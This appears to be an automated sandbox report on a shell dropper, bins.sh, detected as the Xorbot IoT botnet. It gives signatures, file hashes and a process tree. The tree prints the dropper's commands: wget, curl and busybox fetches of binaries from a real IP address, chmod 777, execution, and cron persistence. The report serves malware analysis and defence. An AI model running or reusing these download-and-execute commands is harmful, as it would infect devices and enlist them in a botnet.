Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02-12-2024 17:31

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    8dd8477a41d76f42eeb1f7c1c86cec30

  • SHA1

    d5707dacacae6f85bcdc053011ca5cca9381e083

  • SHA256

    c8242f14c875afa35b81c88aca43b9616dcb459f5d4bde4c63089ae8a8e41bb4

  • SHA512

    075b27d936a5e688eff44679ee0ba046b6cccbab994934738456b7209c160871a083e8e95b4555d6ae276c10b6ca9c884a6a0870d195675f78acffc29a19f493

  • SSDEEP

    192:09Vvuq1eyOISkUERNddwsFyIA6bnHFANNPQcrrdwTIA6bnBkkUERNANNPQcrI9Vb:09Vvuq1eyOIBFyIA6bnHPIA6bnV9Vvuq

Malware Config

Signatures

  • Detects Xorbot 7 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1516) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 10 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:649
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:651
        • /usr/bin/wget
          wget http://216.126.231.240/bins/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
          2⤵
          • Writes file to tmp directory
          PID:655
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:673
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
          2⤵
          • Writes file to tmp directory
          PID:680
        • /bin/chmod
          chmod 777 wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
          2⤵
          • File and Directory Permissions Modification
          PID:682
        • /tmp/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
          ./wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
          2⤵
          • Executes dropped EXE
          PID:683
        • /bin/rm
          rm wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
          2⤵
            PID:685
          • /usr/bin/wget
            wget http://216.126.231.240/bins/Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
            2⤵
            • Writes file to tmp directory
            PID:686
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:687
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
            2⤵
            • Writes file to tmp directory
            PID:690
          • /bin/chmod
            chmod 777 Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
            2⤵
            • File and Directory Permissions Modification
            PID:697
          • /tmp/Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
            ./Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
            2⤵
            • Executes dropped EXE
            PID:698
          • /bin/rm
            rm Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
            2⤵
              PID:700
            • /usr/bin/wget
              wget http://216.126.231.240/bins/PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
              2⤵
              • Writes file to tmp directory
              PID:701
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:708
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
              2⤵
              • Writes file to tmp directory
              PID:715
            • /bin/chmod
              chmod 777 PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
              2⤵
              • File and Directory Permissions Modification
              PID:719
            • /tmp/PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
              ./PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
              2⤵
              • Executes dropped EXE
              PID:720
            • /bin/rm
              rm PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
              2⤵
                PID:723
              • /usr/bin/wget
                wget http://216.126.231.240/bins/UZ8QJZT2ohLXr91t2UIrHMrrrSrJLSMAnp
                2⤵
                • Writes file to tmp directory
                PID:724
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/UZ8QJZT2ohLXr91t2UIrHMrrrSrJLSMAnp
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:732
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/UZ8QJZT2ohLXr91t2UIrHMrrrSrJLSMAnp
                2⤵
                • Writes file to tmp directory
                PID:743
              • /bin/chmod
                chmod 777 UZ8QJZT2ohLXr91t2UIrHMrrrSrJLSMAnp
                2⤵
                • File and Directory Permissions Modification
                PID:747
              • /tmp/UZ8QJZT2ohLXr91t2UIrHMrrrSrJLSMAnp
                ./UZ8QJZT2ohLXr91t2UIrHMrrrSrJLSMAnp
                2⤵
                • Executes dropped EXE
                PID:749
              • /bin/rm
                rm UZ8QJZT2ohLXr91t2UIrHMrrrSrJLSMAnp
                2⤵
                  PID:753
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/2jmf250nWCZoL7t2fg1lhIryMNBNNYYpWr
                  2⤵
                  • Writes file to tmp directory
                  PID:754
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/2jmf250nWCZoL7t2fg1lhIryMNBNNYYpWr
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:756
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/2jmf250nWCZoL7t2fg1lhIryMNBNNYYpWr
                  2⤵
                  • Writes file to tmp directory
                  PID:759
                • /bin/chmod
                  chmod 777 2jmf250nWCZoL7t2fg1lhIryMNBNNYYpWr
                  2⤵
                  • File and Directory Permissions Modification
                  PID:762
                • /tmp/2jmf250nWCZoL7t2fg1lhIryMNBNNYYpWr
                  ./2jmf250nWCZoL7t2fg1lhIryMNBNNYYpWr
                  2⤵
                  • Executes dropped EXE
                  PID:764
                • /bin/rm
                  rm 2jmf250nWCZoL7t2fg1lhIryMNBNNYYpWr
                  2⤵
                    PID:767
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/61oEYps5OTh571pE2PSjRPRhaXsT3sOAZ2
                    2⤵
                    • Writes file to tmp directory
                    PID:768
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/61oEYps5OTh571pE2PSjRPRhaXsT3sOAZ2
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:775
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/61oEYps5OTh571pE2PSjRPRhaXsT3sOAZ2
                    2⤵
                    • Writes file to tmp directory
                    PID:782
                  • /bin/chmod
                    chmod 777 61oEYps5OTh571pE2PSjRPRhaXsT3sOAZ2
                    2⤵
                    • File and Directory Permissions Modification
                    PID:785
                  • /tmp/61oEYps5OTh571pE2PSjRPRhaXsT3sOAZ2
                    ./61oEYps5OTh571pE2PSjRPRhaXsT3sOAZ2
                    2⤵
                    • Executes dropped EXE
                    PID:786
                  • /bin/rm
                    rm 61oEYps5OTh571pE2PSjRPRhaXsT3sOAZ2
                    2⤵
                      PID:789
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/jWkyxH5Ii7FIYUXXUlLM2kXQwqFBkVCCPM
                      2⤵
                      • Writes file to tmp directory
                      PID:791
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/jWkyxH5Ii7FIYUXXUlLM2kXQwqFBkVCCPM
                      2⤵
                      • Checks CPU configuration
                      • Writes file to tmp directory
                      PID:797
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/jWkyxH5Ii7FIYUXXUlLM2kXQwqFBkVCCPM
                      2⤵
                      • Writes file to tmp directory
                      PID:801
                    • /bin/chmod
                      chmod 777 jWkyxH5Ii7FIYUXXUlLM2kXQwqFBkVCCPM
                      2⤵
                      • File and Directory Permissions Modification
                      PID:802
                    • /tmp/jWkyxH5Ii7FIYUXXUlLM2kXQwqFBkVCCPM
                      ./jWkyxH5Ii7FIYUXXUlLM2kXQwqFBkVCCPM
                      2⤵
                      • Executes dropped EXE
                      PID:803
                    • /bin/rm
                      rm jWkyxH5Ii7FIYUXXUlLM2kXQwqFBkVCCPM
                      2⤵
                        PID:805
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/TrD0Z7xR4Z6f9GBkUD38qwNL8EIw7EuhRT
                        2⤵
                        • Writes file to tmp directory
                        PID:806
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/TrD0Z7xR4Z6f9GBkUD38qwNL8EIw7EuhRT
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:810
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/TrD0Z7xR4Z6f9GBkUD38qwNL8EIw7EuhRT
                        2⤵
                        • Writes file to tmp directory
                        PID:811
                      • /bin/chmod
                        chmod 777 TrD0Z7xR4Z6f9GBkUD38qwNL8EIw7EuhRT
                        2⤵
                        • File and Directory Permissions Modification
                        PID:812
                      • /tmp/TrD0Z7xR4Z6f9GBkUD38qwNL8EIw7EuhRT
                        ./TrD0Z7xR4Z6f9GBkUD38qwNL8EIw7EuhRT
                        2⤵
                        • Executes dropped EXE
                        PID:813
                      • /bin/rm
                        rm TrD0Z7xR4Z6f9GBkUD38qwNL8EIw7EuhRT
                        2⤵
                          PID:815
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/ydwmiTUXaiovlGdEdqORCzcEg1m04CjtWg
                          2⤵
                          • Writes file to tmp directory
                          PID:816
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/ydwmiTUXaiovlGdEdqORCzcEg1m04CjtWg
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:819
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/ydwmiTUXaiovlGdEdqORCzcEg1m04CjtWg
                          2⤵
                          • Writes file to tmp directory
                          PID:820
                        • /bin/chmod
                          chmod 777 ydwmiTUXaiovlGdEdqORCzcEg1m04CjtWg
                          2⤵
                          • File and Directory Permissions Modification
                          PID:821
                        • /tmp/ydwmiTUXaiovlGdEdqORCzcEg1m04CjtWg
                          ./ydwmiTUXaiovlGdEdqORCzcEg1m04CjtWg
                          2⤵
                          • Executes dropped EXE
                          PID:822
                        • /bin/rm
                          rm ydwmiTUXaiovlGdEdqORCzcEg1m04CjtWg
                          2⤵
                            PID:824
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/1obZtjdvtZahz4OfX8q2iI3bYZ2wJbfGvk
                            2⤵
                            • Writes file to tmp directory
                            PID:825
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/1obZtjdvtZahz4OfX8q2iI3bYZ2wJbfGvk
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:826
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/1obZtjdvtZahz4OfX8q2iI3bYZ2wJbfGvk
                            2⤵
                            • Writes file to tmp directory
                            PID:827
                          • /bin/chmod
                            chmod 777 1obZtjdvtZahz4OfX8q2iI3bYZ2wJbfGvk
                            2⤵
                            • File and Directory Permissions Modification
                            PID:828
                          • /tmp/1obZtjdvtZahz4OfX8q2iI3bYZ2wJbfGvk
                            ./1obZtjdvtZahz4OfX8q2iI3bYZ2wJbfGvk
                            2⤵
                            • Executes dropped EXE
                            • Renames itself
                            • Reads runtime system information
                            PID:829
                            • /bin/sh
                              sh -c "crontab -l"
                              3⤵
                                PID:831
                                • /usr/bin/crontab
                                  crontab -l
                                  4⤵
                                    PID:832
                                • /bin/sh
                                  sh -c "crontab -"
                                  3⤵
                                    PID:833
                                    • /usr/bin/crontab
                                      crontab -
                                      4⤵
                                      • Creates/modifies Cron job
                                      • Reads runtime system information
                                      PID:834
                                • /bin/rm
                                  rm 1obZtjdvtZahz4OfX8q2iI3bYZ2wJbfGvk
                                  2⤵
                                    PID:836
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/i7aSYAmakTSdv4yacj0N6x8oqoUUJFT99q
                                    2⤵
                                      PID:839

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • /tmp/1obZtjdvtZahz4OfX8q2iI3bYZ2wJbfGvk

                                    Filesize

                                    177KB

                                    MD5

                                    786d75a158fe731feca3880f436082c0

                                    SHA1

                                    79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                    SHA256

                                    5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                    SHA512

                                    7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                  • /tmp/2jmf250nWCZoL7t2fg1lhIryMNBNNYYpWr

                                    Filesize

                                    99KB

                                    MD5

                                    9438d9bc392bcf300a5583b6df5bc8f6

                                    SHA1

                                    375a6ae34b516f6f3eeea8030c4084f585017efa

                                    SHA256

                                    68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                    SHA512

                                    1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                  • /tmp/61oEYps5OTh571pE2PSjRPRhaXsT3sOAZ2

                                    Filesize

                                    111KB

                                    MD5

                                    701e7a55a4f3650f5feee92a9860e5fc

                                    SHA1

                                    6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                    SHA256

                                    ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                    SHA512

                                    7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                  • /tmp/PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw

                                    Filesize

                                    151KB

                                    MD5

                                    6c583043d91c55aa470c08c87058e917

                                    SHA1

                                    abf65a5b9bba69980278ad09356e53de8bb89439

                                    SHA256

                                    2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                    SHA512

                                    82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                  • /tmp/TrD0Z7xR4Z6f9GBkUD38qwNL8EIw7EuhRT

                                    Filesize

                                    117KB

                                    MD5

                                    849fa04ef88a8e8de32cb2e8538de5fe

                                    SHA1

                                    c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                    SHA256

                                    8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                    SHA512

                                    2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                  • /tmp/UZ8QJZT2ohLXr91t2UIrHMrrrSrJLSMAnp

                                    Filesize

                                    122KB

                                    MD5

                                    cd3d4b9c643e5b473fb4d88ed05f0716

                                    SHA1

                                    64ee7a97418583d759eaea8000890cc3bae1b5f4

                                    SHA256

                                    0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                    SHA512

                                    164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                  • /tmp/Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ

                                    Filesize

                                    151KB

                                    MD5

                                    3c90d5820bddcf7c5d1bd21dfa49d958

                                    SHA1

                                    5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                    SHA256

                                    bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                    SHA512

                                    54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                  • /tmp/jWkyxH5Ii7FIYUXXUlLM2kXQwqFBkVCCPM

                                    Filesize

                                    107KB

                                    MD5

                                    eb9c3a0de91fcf16ba17cb24608df68c

                                    SHA1

                                    09d95a7d70d5e115d103be51edff7c498d272fac

                                    SHA256

                                    dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                    SHA512

                                    9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                  • /tmp/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv

                                    Filesize

                                    112KB

                                    MD5

                                    05d7857dcead18bbd86d2935f591873c

                                    SHA1

                                    34d18f41ef35f93d5364ce3e24d74730a4e91985

                                    SHA256

                                    2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                    SHA512

                                    d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                  • /tmp/ydwmiTUXaiovlGdEdqORCzcEg1m04CjtWg

                                    Filesize

                                    98KB

                                    MD5

                                    5141342d0df8699fa32a6b066a0c592e

                                    SHA1

                                    8157673225bd5182f16215e2aa823a25ca2d4fbc

                                    SHA256

                                    54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                    SHA512

                                    d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                  • /var/spool/cron/crontabs/tmp.Hk6beZ

                                    Filesize

                                    210B

                                    MD5

                                    2e728fdc605679cd8a6230d104561416

                                    SHA1

                                    eb910f5e236b20da9168e42fd23b8fd8189495ba

                                    SHA256

                                    394acc0f7f1482204d1d36a7f531dfbaa16c774697e4c205e4f5c8d781225ef3

                                    SHA512

                                    3dfa33e381717bccc27ef976e8c9119eb87d435ecdf24d30be50def9548de92dc038f3e0c76dc3d088a461c66cc869c1ad4a140790a0b9aa91cdd00dd3be2985